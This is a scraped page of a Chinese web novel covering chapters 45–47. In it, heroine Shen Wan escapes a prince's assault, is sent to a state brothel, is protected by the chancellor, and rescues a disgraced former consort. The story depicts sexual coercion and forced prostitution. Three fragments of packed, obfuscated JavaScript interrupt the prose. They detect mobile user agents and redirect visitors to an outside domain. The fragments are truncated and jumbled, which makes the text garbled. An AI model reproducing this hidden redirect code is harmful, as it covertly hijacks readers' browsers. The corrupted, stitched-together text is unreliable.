l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070230|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绾柔嫩的脸颊,徐徐道:“好,你同本王回府,先把我伺候得舒服了,我自然会将小丫头放回去。” “不,你先放人。”沈绾态度坚硬,示意自己的伤势,“你知道的,我跑不了。” 耶齐雷顿了片刻,双手背后颇有自信道:“好。” 沈绾甚至没来得及同春桃说上话,便被耶齐雷带上了马车。 马车一路驶向巴泰王府,沈绾双手被绑着,刚下马车便有两名婢女上前,一左一右将她扶住。 “把她带下去,好好梳洗一番,送到本王房里来。”耶齐雷粗声吩咐,婢女目不斜视,低头应是。 与其说是服侍梳洗,不若说是在检查,婢女服侍她洗完澡,又从里到外给她换上一套新的衣服,方才确定她身上除了那把精致的匕首外,别无他物。 连最后一丝武器都被卸下,耶齐雷这是不让她有任何反击的余地。 如今,已没有人能救她! 被送进耶齐雷房间时,一股浓郁的异香扑鼻而来。 沈绾下意识皱了皱鼻,由着人抬上床榻。 今夜乌云遮月,夜空连一丝星光也不见,这间寝殿里的烛火并不算多,又掩映着重重纱幔,愈发显得幽暗诡寂。 一片寂静中,似有人影朝床榻边走来,沈绾手心紧攥,连呼吸都快停滞。 耶齐雷身披宽袍大袖,缓步撩开帘幔,黑暗中那双幽光憧憧的眼紧盯着床榻上的女人,好似在窥视某种猎物。 女子长发如瀑,纤娜窈窕,一身素白纱衣披在身上,不仅没有掩去她的半分姝丽,反而更添了几分清冷仙气,好似月宫上的仙子,飘飘然落入凡尘,美得惊心动魄。 真不愧是大胤最美丽的女人! 耶齐雷心中感叹,一双牛眼愈发幽亮,馋腻的视线死死锁住,如同等待进食的野兽,不给猎物一丝逃跑的机会。 粗糙肥硕的手掌抚过脸颊、擦过脖颈,堪堪落在肩头,继而猛地向下一扒,大片雪肤瞬间裸露在空气中。 沈绾冷不丁打了个寒战,竭力控制住发抖的身子,缓缓靠前,吐气如兰:“王爷急什么,我既然答应侍候王爷,便跑不了。” 她极力压制住心中恶心,抬手抚在耶齐雷脸侧,柔声软语道:“王爷想不想玩个刺激的?” 女人的声音仿佛染上无尽春水,勾得耶齐雷心头发痒。 他费尽心机得来的妙人,就这么活色生香坐在眼前,问他想不想玩刺激的,想必世间没有男人能抵抗得住。 “美人想玩什么?” 沈绾扯住他胸前衣襟,里面露出黑黢黢的毛发,一丝嫌恶在眼底转身即逝。 “妾身胸口有些闷,王爷把窗子打开,这时节晚风习习,我们去窗边,岂不惬意?” 耶齐雷正犹豫,可娇软身躯已然靠上来,他顿时没力气思考,身下□□早已将理智焚烧殆尽。 “好,小美人,我们去窗边……” 恶心粗糙的吻狂风骤雨般落在颈侧,沈绾别过脸,死死咬紧下唇。 窗扇已被打开,晚间凉凉夜风扑面而来,沈绾反手扣紧窗框,腰肢发力朝后仰,半个身子已然露出窗外。 拇指与食指圈成圆环放在嘴边,哨音破空而去。 下一瞬,一道黑影似闪电般自高空俯冲而下,直击窗台。 耶齐雷全然沉浸在□□中,当凌厉的疾风落在耳边时,锋利如铁钩的鸟喙已直戳进他的左眼。 45. 第四十五章 血罗裙 “啊——”凄厉惨叫划破夜空。 耶齐雷因过于自信,将守卫都安排在院门外,是以方才一声惨叫并未吸引院外那些守卫的注意。 海东青瞅准时机,欲再向右眼攻去,可耶齐雷早已有了防备,他好歹征战沙场多年,反手取来窗边花瓶,猛地朝空中掷去。 “来人!快来人!”耶齐雷暴跳如雷,怒吼声震破院墙。 守卫匆匆赶到,见耶齐雷半张脸已是血淋淋一片,皆是一惊。 “快,把那只畜生给我射下来!” 耶齐雷捂住左眼,指着空中振翅扑腾的海东青,怒道:“快,射呀!” 守卫很快取来弓箭,一时间,数十只羽箭齐发,没入夜空,可那盘旋的黑点像是没有实体,无论射出多少支箭镞,都未能触及到半分羽片。 “废物!”耶齐雷一把夺过守卫手中弓箭,张弓拉弦,下一瞬,羽箭没入天际,伴随着海东青得意的尖啸,再次消失不见。 耶齐雷立在原地,粗喘一声重过一声,视线陡然一转,跨步上前,一把掐住倒在地上的沈绾,可怖的右眼旋即泛起杀意,“是你?” “那畜生是你招来的?” 大掌死死掐住玉颈,沈绾呼吸艰难,唇瓣微张,却发不出声音,只有一丝微弱的气息从喉间挤出。 清浅的瞳仁骤缩,映出对方狰狞的面容,唇边扯出一抹嘲讽。 耶齐雷被这抹笑刺得神经一跳,掌心渐渐收力,显然下了杀心。 清丽玉容愈发涨红,纤柔的脖颈暴起几道青筋,浓睫剧烈颤抖,滑落一滴晶莹。 耶齐雷本以为她要求饶,可那双渐渐涣散的眼却分明带着赴死的决绝。 她想死? 耶齐雷面颊肌肉不住一抽,掌心骤然卸了力,她既然想死,他就偏不让她死。 既然她连死都不愿屈服,那他就要她求生不得,求死不能! 他倒要看看,在她见识过什么是真正的深渊地狱后,能不能向他低头! “来人,送去教坊司。”耶齐雷冷声吩咐,恨意未消的眼神扫过,仿佛在打量垃圾,“告诉那些人,不必手软。” “是。” ** 自前朝以来,为处理获罪官员女眷,皆会将她们没入教坊司为奴,除了提供歌舞表演,还要为达官贵人提供各种享乐服务,名义上虽是卖艺不卖身,可只要这些权贵提出要求,官妓们根本没有拒绝的余地。 后来拓摩入主,礼乐式微,这些异族子弟愈发丧心病狂,耽于享乐,对司里的女子极尽玩弄,甚至还弄出不少人命。渐渐地,这里彻底演变成官营妓院,女子一旦入了这里,叫天不应叫地不灵。 “啪!”沈绾被人一路拖拽,扔进一间厢房。 “宋司乐,我家主子给你送来个新货。” 花鸟美人屏风后,施施然走出一位瘦高白面、身着雪青色织金绫袍的男人。此人五官虽不出众,但一举一动皆有韵味,一双柳叶眼上下扫视了眼沈绾,咂舌道:“面皮生得倒是不错,只是可惜了……” 精明的视线瞬间落到沈绾受伤的脚腕处。 “她这腿跳舞是不太行,可弹琴奏乐供人取乐倒是绰绰有余。”来人解释道,“我家主子说了,近来天气炎热,那些个大人物心火旺得厉害,就让司里的新人给他们好好败败火。” 宋司乐心领神会,乜着眼道:“我心里有数。” “那——司乐大人多费心了。” 来人掩门退去,沈绾勉力坐起身,下意识往墙角靠去。 “姑娘,来到这,你可是躲不掉的。”宋司乐居高临下,睨着眼道,“无论曾经是官家小姐还是侯爵夫人,一旦进了这里,干的都是侍候人的活,尤其是伺候男人的活。” “瞧你这样,怕是毫无经验,我当派人好好教教你。” 嫌弃冰冷的话音刚落,便有两名壮汉推门进来,门扇开合之际,隐约传来女人的哭喊声,即便隔着长长的厢房走道,还是能听出凄厉悲绝。 “你们两个仔细教她,让她清楚伺候人的本事,”宋司乐低声吩咐,“注意留口气。” 两名壮汉得了指令,互相对视一眼,像履行程序般步步紧逼。 “别过来!”沈绾攥紧衣襟,一双眼睛冷如寒潭,却难掩惊慌。 可两名壮汉根本不为所动,边向前靠近边脱起衣服,露出精壮的胸膛。 没了武器,没了外援,她此刻已是避无可避! 眼看男人的手覆上肩头,沈绾牙根紧咬,骤然出声:“慢着!” 她的声音太过大声,壮汉动作不由一滞。 “这位司乐大人,我能跟你单独谈谈吗?”沈绾竭力压下心中恐惧。 宋司乐淡漠瞥了眼,“如果你想耍什么把戏,趁早断了心思,走到这一步,你即便是想死也死不了了。” “不。”沈绾眸色一定,抿唇道:“我是想说,我尚是完璧……与其随便叫人毁了清白,不如留着,或可帮大人赚些银两。” 宋司乐眉心一动。 沈绾所言并非没有道理,教坊司虽归朝廷管辖,每年由户部支出特定经费,可随着前来消遣的官员越聚越多,效仿民间为美人一掷千金的风俗也渐渐形成。 毕竟这世道,没人会跟钱过不去! 若是才色双全且完璧的姑娘,的确能叫出不菲的价钱。 目光悄然落在眼前女子令人惊艳的脸蛋,宋司乐不由挑眉:“会弹琴吗?” “会。” 宋司乐脸色稍霁,“不错,要知道我们这里的姑娘都是凭技艺傍身。有些个老爷大人来这可不是单单看一张皮囊。弹首曲子我听听。” 厢房一侧便摆着一架古琴,沈绾呼了口气,平复下情绪后艰难爬到古琴边,弹了首渔家曲。 这曲子虽是来自民间,可她幼时听乐工奏过一遍,深觉好听,就跟着学了下来。 最后一枚音符结束在琴弦上,宋司乐眼中露出意外:“弹得还不错。” “来人,给她好好梳洗一下,再让乐工仔细调教调教,”宋司乐转头吩咐,“明晚的演出,好好露个脸,兴许被哪位大人看上,娶回去当个偏房,就算是你的福气了。” ** 入了夜的教坊司灯火通明,琴笙四起,三十六盏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077461|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琉璃宫灯将庭院照得如同白昼。舞姬轻扬裙摆在圆台上恣意旋转,引得看客连连叫好。 沈绾大致扫了眼,除了部分拓摩权贵,仍有不少汉人官宦,有几位她甚至还有过几面之缘。 “诸位,今日我司新编了首曲子,请各位大人一同品鉴。”宋司乐轻摇手中折扇,笑声曼语。 清悠婉转的乐曲自琴弦笙鼓中流淌而出,台下虽有人精通乐理沉迷赏乐,可多数人只是听个乐子,贪婪的目光在台上每位女乐工身上睃巡,寻找今晚的目标。 一曲毕,台下有人起身道:“好个清雅的美人,怎么从没见过?” 众人循着视线望去,很快发现坐在角落里弹琴的沈绾。她脸上虽蒙着面纱,可举手投足间带着不可言明的贵气。虽然这里大都是官家小姐,可沈绾这独一份的气质,很难不让人发现。 数道视线聚集,沈绾方起身盈盈一拜。 宋司乐瞅准时机道:“这位可是我们司里的新人,花苞待摘,又弹得一手好琴,不知今晚哪位贵人愿与我们姑娘切磋琴艺?” “这般美人,我就当仁不让了!”众人自然听懂宋司乐的暗示,话音刚落,看台下立即有人掷出银钱。 早有仆役上前清点,高声唱名:“工部侍郎许大人,五百两!” “窈窕淑女,君子好逑。”又一青年男子掏出银票,拍案道。 “文昌侯府公子,一千两!”仆役唱道。 “为与姑娘切磋琴艺,我出一千五百两!” “两千两!” “三千两!” 台下叫价愈喊愈高,宋司乐脸上的笑容越咧越大。 忽地,一道音色温润却冷凝到没有任何温度的声音穿过厅堂,飘落而下:“一万两。” 众人循声望去,只见二楼正中,向来在风月场鲜少露面的代鄯此刻竟赫然高坐在楼上,只是一向和煦的脸上此刻却看不出任何情绪。 人在官场,即便身处庙堂之外,也会时刻因权势官阶而论资排辈。 比如现在,除了某些王侯贵戚,普通官员再无人敢开口,既是丞相看中的女人,他们自是不敢一争高下。 堂中沉默片刻,随着宋司乐一声高喊:“一万两,请丞相大人入□□!” 代鄯没有多言,双手背后由人引着消失在楼道尽头。 “姑娘,请吧。”宋司乐抬手示意,早有仆役上前搀扶带路。 沈绾垂着眼迈下高台,不忘朝宋司乐欠了欠身,以示礼数。 擦身而过之际,无意间听到台下有人低声抱怨:“丞相大人怎么会突然来这里?唉,好好的一个美人,我可是无福消受了。” 宋司乐轻移莲步,安抚道:“大人叹什么气,最近我新学了首曲子,是用紫竹箫吹奏的,不知大人可有兴趣指点一二?” “哈哈哈哈……”对方闻言瞬间变了语气,笑得意味深长:“宋司乐的吹箫功夫可是一绝,我自是要好好欣赏一番。” 余光尽头,不知是有意还是无意,沈绾瞧见那位大人的手不知何时搭在宋司乐的腰上,而那位高挑白净的男人脸上笑意未减,似乎还颇为享受。 46. 第四十六章 血罗裙 香雾渐散,露出代鄯甚为憔悴的脸,尽管隔着一些距离,可沈绾还是发现他眼睑下已是乌青一片。 “我答应过阿烈,会照顾你。” 沈绾羽睫一颤,喉头微涩:“他……真的死了吗?” 话音轻得像一片羽毛,落入平静湖面,虽激起细小涟漪,却不见水下真貌。 室内默了许久,代鄯方道:“皇上是起了杀心,他与耶齐雷到底是亲兄弟……” 是啊,自从在马场看到耶齐雷,她就该想到,若非圣意,他怎能轻易出来? 先是皇后病重,接着自己意外坠马,沈葭入狱、谢翊死讯、查封府邸……短短几天,天翻地覆。 这一步步,如同被人精确算计过…… 沈绾垂下暗淡的眼,没有丝毫意外,“三姐姐怎么样?” “她只是受了惊吓,现在还在内狱。” 沈绾凝眉:“耶齐格要对付谢翊,耶齐雷要对付我,为何会牵扯到三姐姐?” 代鄯抬起沉暗的眸子,“耶齐雷的目标,还有我。” 沈绾一凛。 “我与阿烈是多年的兄弟,耶齐雷想扳倒他,自然不会放过我。” 沈绾恍然,用沈葭挑起帝相矛盾,何其歹毒的心思! 耶齐雷定是看出代鄯待沈葭不同,借此机会挑衅,若是代鄯为此触怒圣颜,定会赴谢翊后尘。 如今代鄯已是岌岌可危,皇后崩逝,耶齐格震怒,这种情况下救人无异于飞蛾扑火。 “那大人今日为何要来?” “为了保你。” 一滴烛泪悄然滑落,代鄯起身道:“你和沈葭,我只能救一个。在耶齐雷的谋算中,你这个目标明显比沈葭要大,所以……” “我明白,”沈绾随即出声,“大人若能救三姐姐脱身,沈绾感激不尽。” 代鄯负手而立,缓步走至沈绾身前,“沈葭那我会想办法,至于你……怕是要与我做场戏了。” ** 即便皇后崩逝,举国哀恸,可这些享乐之人根本耐不住寂寞,暗地里仍是醉生梦死,寻欢求乐,因此教坊司的夜晚永远灯火高照,歌舞不休。 许多官眷女子刚来到这里,大都受不了供人驱使玩乐的屈辱,既然跑不掉,往往都会选择自尽。可教坊司对于这种事情早已司空见惯,不仅会派人不分昼夜在暗处盯梢,还会对有寻死念头的人施以刑罚。 有些客人甚至以此为乐,通过各种手段折磨来满足自己病态的心理。 因此在后院厢房深处,时常能听见女子凄厉的哭叫声。教坊主会通过一次次折辱,彻底击垮她们的心理防线,直到人屈服。有的客人为玩花样,甚至会邀同伴一起,彻夜不休,直到把人折磨致死。 这晚的教坊司同往常一样物欲横流,可在这繁华背后,却爆出一身撕心裂肺的惊叫。 一女子披头散发,衣衫不整,半爬半跪逃出房间,凌乱长发遮盖的脖颈处,隐约露出青青紫紫的印记。 此人不是旁人,正是沈绾。 有客人被这叫声惊扰,纷纷聚拢过来,只见沈绾状如癫狂,指着身后男人怒骂:“我家将军视大人为好友兄弟,你就是这么对他?” 代鄯不疾不徐从檐下阴影走出,冷眼嗤笑:“兄弟?多年来他何曾把我当过兄弟?我不过是他一步步走向人臣高位的工具,现在他谋反身死,还想连累本相,痴人说梦!” “既然你姐姐已经下了狱,那就由你来代替她好了。”代鄯缓缓俯身,长指掐进女子脖颈,“我知道谢翊喜欢你,可本相就偏要把他心爱的东西踩碎、践踏,我要让他连死,都不得安生!” “疯子!”沈绾猩红着眼,咒骂:“我就是下地狱也不会放过你!” 话音刚落,水面“扑通”一声,沈绾纵身一跃,竟跳进了一侧的莲池。 自这晚起,坊间便流传起各种消息。有的说代鄯表面和善温润,与叛臣耶齐烈称兄道弟,实乃笑面阎王,心中早存杀意;有的说他蓄谋已久,将军府刚出事,便将耶齐烈养在府中的美妾强行占为己有,还差点出了人命。 故事一时被渲染得纷纷扬扬,各种版本都有。但总归离不开他手段狠辣,强占美人的主题。 “哎呀,我说你,好端端的跳什么湖?”宋司乐轻摇骨扇,大摇大摆走进沈绾房中。 沈绾裹紧被褥躺在床上,小脸苍白,昨晚若不是有人及时跳下去把她捞上来,此刻她恐怕真的去见阎王了。 “司乐大人……”沈绾欲起身行礼,但身子实在不支,又重新躺了下去。 “都成这样了,还不好好躺着。”宋司乐伸手虚虚扶了下,眼珠一转,以扇掩面,“姑娘好糊涂,将军府已经被查封了,你又到了这里,还留着那份贞烈做什么?来这的人非富即贵,何况昨晚那位可是丞相,他要弄死一个人,有一百种方法,我们惹不起。” 宋司乐说得苦口婆心,沈绾像是想明白许多,惭愧低头:“大人说的是,是我一时糊涂……” “唉,”宋司乐摇扇叹道,“不是我狠心,只是我们司里不养闲人,姑娘如今这样,只怕要养上十天半月,这……” 话音未落,有女婢上前禀报:“大人,丞相府派人来了。” “哦?”宋司乐眼尾一挑,“快请进来。” 不多时,进来一位中年管事,淡淡瞅了眼房中人,拿腔拿调道:“我家大人说了,沈姑娘接下来近半年的场子都包了,大人如果想姑娘了自然会过来,还请姑娘做好准备,莫要再犯傻。” 说着,从袖中掏出一张银票,“这是另外一万两银票,宋大人,还请你多多担待。” 宋司乐原本得了耶齐雷授意,想将沈绾另献给旁的客人,现在代鄯派人来这么一下,他倒是不再好开口。 何况有钱能使鬼推磨,遇到出手这般大方的主儿,他自是什么都顾不上。 “是是是……”宋司乐两眼放光将银票接过,“丞相大人既然给了梳拢钱,小的自然从命。” 照旧例,一些达官贵人即便在教坊司有相好,可碍于名声和家室,都不会把人娶回府,就连把人赎出当个外室也是极少。 有些良心的,就往司里送些钱,把人养在这里,除了日常演出,司里往往不会再安排其他客人,即为梳拢。 接下来几日,丞相府时常派人过来探望,不是送些伤药就是送些衣物用品,沈绾很快在包里发现自己的一些体己物件。 当时变故来得太突然,有些东西根本没来及收拾,香囊、牛骨鞭、紫金镯……当时众人欢聚一堂的场景宛如还在眼前。 忽地,一张纸条落下,捡起展开一看,只见上书“桃安”二字,沈绾顿时心领神会,一颗担忧的心终于落地。 她原本还担心耶齐雷会出尔反尔,春桃安危难测,如今看来代鄯已将人平安救下, 或许是因为送来的药膏效果奇佳,沈绾养了几日,脚伤也慢慢好起来。这日晚间,她感到口渴难耐,扶着墙壁勉强下地,缓缓走出房间,刚转过一处拐角,忽听得里面传来一声激烈的撞击。 几声男人的淫/笑隐约传出,沈绾深知这种事在这里已是司空见惯,本欲快步离开,可奈何步子实在迈得艰难,心中天人交战几番纠结,终是忍不住朝窗边走去。 透过朦胧窗纱,隐约看见几名锦袍男子站在一起,脚旁花瓶碎片落了一地,而在他们围攻的墙脚处,正蹲着一名鬓发凌乱的女子,锋利的碎瓷片被她紧紧握在手里,温热的鲜红一滴滴从手心落下,不多时,晕红了大半素白罗裙。 那样灼目的红,瞬间刺痛了沈绾眼睛。 “我求求你们,放过我,放过我……”女子蜷缩着身子,卑怜乞求。 “你还以为自己是宫里的贵妃娘娘?一个被弃的玩物,给谁不是玩?不如让咱们兄弟伺候你……” 几只男人的手如恶魔利爪聚拢而下,女子憋足力气奋起一推,几人未曾想到她会有这么大力气,未曾防备,竟让人夺门而出。 女子蒙头而逃,转过墙角,忽迎面撞上一人。 沈绾被撞得始料未及,下意识扶住女子颤巍巍的身子,却在对方抬眼之际,脑中神经猛地一抽。 这不是——凌娩! 对方在看清她的面容后眼底同样闪过一丝惊愕,可只是一瞬,手腕就被人从身后抓住。 碎瓷片砰地落地,身后男人骂骂咧咧:“还想跑?” 绝望与恐惧在眼底交织,凌娩声嘶力竭,仿佛想用尽全身 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沈绾眼底闪过一抹愕然,可当看到凌娩越发羞愤的神色,瞬间了然。 是啊,若非如此,她一个贵妃,怎会出现在这呢? 按照中原规制,皇帝身边的妃嫔即便得了厌弃,也是入冷宫、赐自尽,鲜少将她们送入教坊司这种风月场所,毕竟是皇帝的女人,即便不得圣心,也绝不会供与他人玩乐。 可拓摩毕竟是北疆异族,许多民风观念与中原大相径庭,沈绾也从没想到有朝一日,会在这里遇见这位曾经趾高气扬的贵妃娘娘。 “若是小女子没有看错,几位大人的口音谈吐,想必都是中原人?”沈绾忽然扯开话题,几人被问得一惊。 “是又如何?”不知是否因为被戳穿身份,几个男人嚣张的气焰莫名退了大半,似乎想要重新披上那掩人耳目的伪饰人皮。 沈绾见他们这般,心中定了几分。 这群胤朝旧臣虽表面打着归顺拓摩的旗号,可只是因为当初贪生怕死,为求自保,打心眼里看不起这帮蛮夷作风,自以为比他们高出一等。可自身的卑劣秉性偏又时不时作乱,所以只好借着异族面皮放纵私欲,可一旦有人戳破伪装,又会立刻恢复起骨子里那股假模假式的清高。 沈绾正色道:“几位大人只知她是贵妃,又可知她曾是英国公遗孤?英国公为国捐躯,几位大人即便今日是新朝之臣,想必也不会忘记英国公死守国门的气节,国公英魂昭昭,同为中原血脉,今日又何苦相逼?” 沈绾言辞切切,心中虽没有多少把握,但眼下也只有赌一赌这伙人的清高和伪善。 几人默了片刻,忽有人道:“你既说她是英国公遗孤,可她还不是一样委身拓摩,成了皇帝的宠妃?一个被拓摩皇帝玩烂的女人,谈什么贞操和气节?她的存在,不过是为她父亲抹羞罢了!是耻辱,是污点!” 几句话说得凌娩面色惨白,冷汗直冒,她死死咬紧嘴唇,手心紧攥,修长漂亮的指甲竟生生被掰断。 “住口!”沈绾怒叱,抬眸看向眼前大放厥词的人,只见此人一身劲袖短衣,看气质不像文官,倒像是个武将。 可听那一词一句,又全然不像一个新朝臣子。难道是胤朝旧人?可即便如此,他又怎敢在京都地界这般对拓摩皇帝不敬? 实在太奇怪了! “够了!”凌娩紧皱着眉头,狠狠推了推沈绾,“你少在这惺惺作态,既然救不了我,就快走,免得把自己搭上,可不要怪我。” 沈绾刚要出声,只听方才那人指着她道:“我认得她,她是前朝帝姬!同这女人一样,都是拓摩人的玩物。当初就是她们率先叛国弃民,还在这里谈什么守国的气节?中原的血脉?简直可笑!既然拓摩人能玩得,到了这里,我们为何玩不得!” 一番话说得几人愈发亢奋,他们本也不是什么正人君子,只想借着一个由头行禽兽之事,所以也不管什么礼义廉耻,上前拉扯着要把二人拖进屋。 情急之际,沈绾从袖口扯出马鞭,狠狠朝身前一甩。 脆亮的鞭声落地,几人被震得一愣,可待看清那马鞭上的图腾时,刚沸腾起的血液瞬间凉了一半。 47. 第四十七章 泯恩仇 “哎呦,这是怎么回事?”宋司乐摇着骨扇,迤逦而来。 “司乐大人,”沈绾侧身颔首,蹲身行礼,“是我不好,本想去厨房沏壶热茶,却不想撞见几位大人,被拦住去路,意外纠缠下,竟不小心伤了手。” “什么!”宋司乐一惊,一抬眼,竟瞧见沈绾的手指早已是血淋淋一片。 在他看来,沈绾现在最值钱的就是这双手,若是出个什么好歹,他不仅没法向丞相府交代,更是失去了一棵摇钱树。 “我的天爷,这、这可如何是好……”宋司乐丧着脸嘀咕,转头看向对面几位男人,“我说几位大人,何苦闹成这样?我可怎么向丞相大人交代啊!” “不、不是我们……”几人瞠目结舌,天知道她的手怎么会变成这样,他们根本都没碰到她的手! 但不管事实如何,他们这会儿都明白沈绾的身份,原来她就是丞相金屋藏娇的那个“美人”! 他们本就是些小角色,根本没想把事情闹这么大,虽说将军府失势,可圣上现在还仰仗丞相,他们可没那个胆子在这里挖代鄯墙角。 “真倒霉,这丫头居然是……” “别说了,趁事情还不算严重,快想个办法开溜吧。” 几人小声嘀咕着,忙朝宋司乐赔笑道:“误会,都是误会,就是借我们十个胆,也不敢冒犯丞相大人!宋大人,您帮帮忙,我们兄弟几个朝这位姑娘赔个不是……” 眼前几人都是司里常客,宋司乐也不想把事情闹大,遂使了个眼色,“哎呀,姑娘虽是个好性的,可这双手毕竟是要弹琴给丞相大人听的,这若是伤着了,不知多久才能好!” 几人听懂宋司乐言外之音,忙从怀中掏出银两,“这是我们几个一点心意,只盼宋大人能用最好的药给姑娘治伤,若是不够,我们回头再送来,姑娘的手伤要紧,只是切莫惊扰了丞相大人。” 宋司乐掂量着手里沉甸甸的银子,用布帕一盖,笑道:“想来几位大人也不是有心的,我心里有数。” 几人听着这话千恩万谢,也顾不上凌娩,忙灰溜溜离开了。 宋司乐揣紧怀中银子,回头细细瞥了眼沈绾,目光在那双手上停留片刻,遂吩咐小厮去外面请大夫,又装模作样关心几句,方才离开。 “怎么,还不走?” “什么?”凌娩如梦初醒,不可置信回望过去。 沈绾由着小丫头扶着,乜着眼,“大夫马上来了,你手上的伤要不要处理下?” “不、不用你管。”凌娩绷着脸,动作僵硬将手背在身后,她可不想担沈绾的任何情。 “我也不想管你,”沈绾无奈轻嗤,“这种时候逞强没好处,你那伤如果不疼,就继续受着吧。” 沈绾果断转回头,没再理会。 不多时,蓄着花白胡须的大夫提着药箱前来,沈绾解开脚腕绷带,靠在桌边,请大夫诊脉。 “姑娘的身子已然好了大半,脚上的伤再疗养半月,就能痊愈了。” “多谢大夫。”沈绾颔首道谢。 大夫起身合上药箱低眉还礼,捋须道:“欸?老夫来时听说有位姑娘伤了手,怎的只是脚伤?” 沈绾一双干净白皙的手支着脑袋,懒懒道:“唔,手伤的那位在门外呢。” 说着,扬起下巴点了点门外:“你到底还打算站多久?” 片刻后,虚掩的门后缓缓走出一人,凌娩艰难移着步子,一点点挪进来。 沈绾没有多言,向大夫示意,凌娩极为别扭地撅撅嘴,没再移动步子。 “再矫情,你的手就别要了。”沈绾轻飘飘落下一句。 原来凌娩一路走来,一直用裙角布料缠着手掌,可那块布巾此刻早已被染得鲜红一片,甚至透过布料与手腕的缝隙处不断往下滴血。 凌娩终是耐不住手心刺痛,由着大夫一点点揭开布巾,只见血肉模糊的伤口处还夹着几块未清理干净的碎瓷片。 大夫一点点耐心处理着伤口,深入血肉的瓷片拔出之际,凌娩银牙紧咬,余光蓦然瞥到沈绾安然无恙的手,惊呼:“你……” “一点障眼法罢了。”沈绾张了张手。她若不这样,宋司乐怎好帮着她们说话,那伙人又怎能善罢甘休。 “你别以为救了我,我就会感激你,”凌娩瞥过眼,“我告诉你,只要看到你这张脸,我还是像以前一样讨厌。” 沈绾不以为意,“正好,上完药就赶紧走,我也不想看见你。” 房中一时静默无声,老大夫不知这二人到底有什么过节,硬着头皮处理完伤口,又简单嘱咐几句,方起身告辞。 凌娩踌躇片刻,欲转身离开之际,终是忍不住开口:“为什么帮我?” “那你先回答我一个问题,”沈绾幽幽抬眸,声音清冷,“为何要害三姐姐?就为了报复我?” “不是,我……”凌娩欲言又止,心中挣扎片刻,低叹道:“是,我承认,当初提议让沈葭入宫,的确是我说的,她一个瞎子,我也只想着让她进宫受些折腾,可我根本没想到皇后娘娘真的会……更加没想害她入狱。” 说到这,凌娩呼吸渐渐急促,眼角微红,“说到底,是我识人不清,不该听信花月姬的鬼话,现在看来,沈葭这步棋,分明就是用来对付你的。” “花月姬?” 凌娩吸了口气,“你应该知道皇上新纳了位西域美人为妃,花月姬,就是她的名字。” 沈绾若有所思:“那天在马场,我见过的。是个美人。” “这女人可不是个简单的人物,可以说,她是条彻头彻尾的毒蛇。” 沈绾眉梢轻挑:“蛇蝎美人?” 凌娩不置可否,拧眉叹道:“我沦落到这里,也是拜她所赐。” “那日花月姬邀我去太液池赏花,正好碰上皇后,她身子渐好,便与我们一道同游。半途皇后的发簪不慎掉落,正巧被花月姬捡着,她递给我,让我给娘娘簪上,我当时也没多想,可就在我簪花的时候,忽然有股力量从身后闪过,不过一转眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122755|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇后竟突然跌倒在地。 当时场面混乱,谁都没有反应过来,谁知道这么一摔,肚子里的孩子居然就没了,皇后也因为失血过多崩逝。皇上大怒,责问事故起因,那女人竟一口咬定是我推了皇后。当时虽有许多宫女太监在场,可我并无人证,而且当时确实只有我站在皇后身边,我百口莫辩。 想来那女人是早有计划,皇上对她极为宠幸,对她的话更是深信不疑,根本不听我解释,所以我才被……” 凌娩咬紧下唇,黯然垂眼,遮住了眼角湿意。 沈绾听完前因后果,眉头蹙得更紧。 若说这位花月姬只想争宠,可刚一入宫便借刀杀人,栽赃陷害,实在有违常理。这更像是……提前谋划,精准执行。 况且自己跟这位美人从未谋面,她即便想争宠,又何故要针对自己?这背后似乎另有人操控…… “有什么可哭的?”沈绾不耐,手边递去干净帕子。凌娩这回倒也没矫情,用未受伤的指尖夹过帕子,拭了拭眼角。 二人对坐无言,气氛一时有些尴尬。 “你……” “有话就说。” 凌娩抿了抿苍白的唇,“那些人的话……”说到这,没有再继续。 那些话就像根根荆刺,虽不显眼,却深深扎进她的心里。 这一年来,她竭力使自己忘记国家的破亡、俘虏的屈辱……乃至父亲的死,可今日发生的一切好像又把那些刻意掩藏的东西重新摆在眼前。 高居贵妃又如何,她不过是拓摩人手里的玩物,说丢弃即可丢弃,一朝跌落,她曾经的求生与自保,在世人看来不过是骨子里的低贱与谄媚。 在某种程度,她的软弱与父亲的坚守,竟如此鲜明讽刺。 “什么话?”沈绾漫不经心道。 “就……”凌娩唇边翕动几下,重又垂下眼,“没什么。” “那些恶心蠹虫的话,只会脏了耳朵。”沈绾用指腹抵了抵额角,“今晚那人多半是南边来的探子,他潜伏在京都定是别有目的,所以那些话根本不用放在心上。女人的贞洁从不在罗裙之下,同样,一个人的人格也不在于旁人的言论中。你是什么样的人,想成为什么样的人,只有自己最清楚。” 沈绾的话犹如一记响雷,在凌娩心头一震。 她怔了片刻,忽喃喃道:“你可以,教我跳舞吗?” 曾经在京都,她的舞艺虽有几分出彩,可比起沈绾还是差了些,因此她很少在公开场合展示舞蹈。如今身陷教坊司,要想不彻底沦为陪客的女妓,掌握一门出色的技艺是最行之有效的办法。 “什么?”她声音太轻,像一片羽毛拂过湖面,不留一丝痕迹。 凌娩回过神,意识到自己说了什么,忙转身:“没什么。” 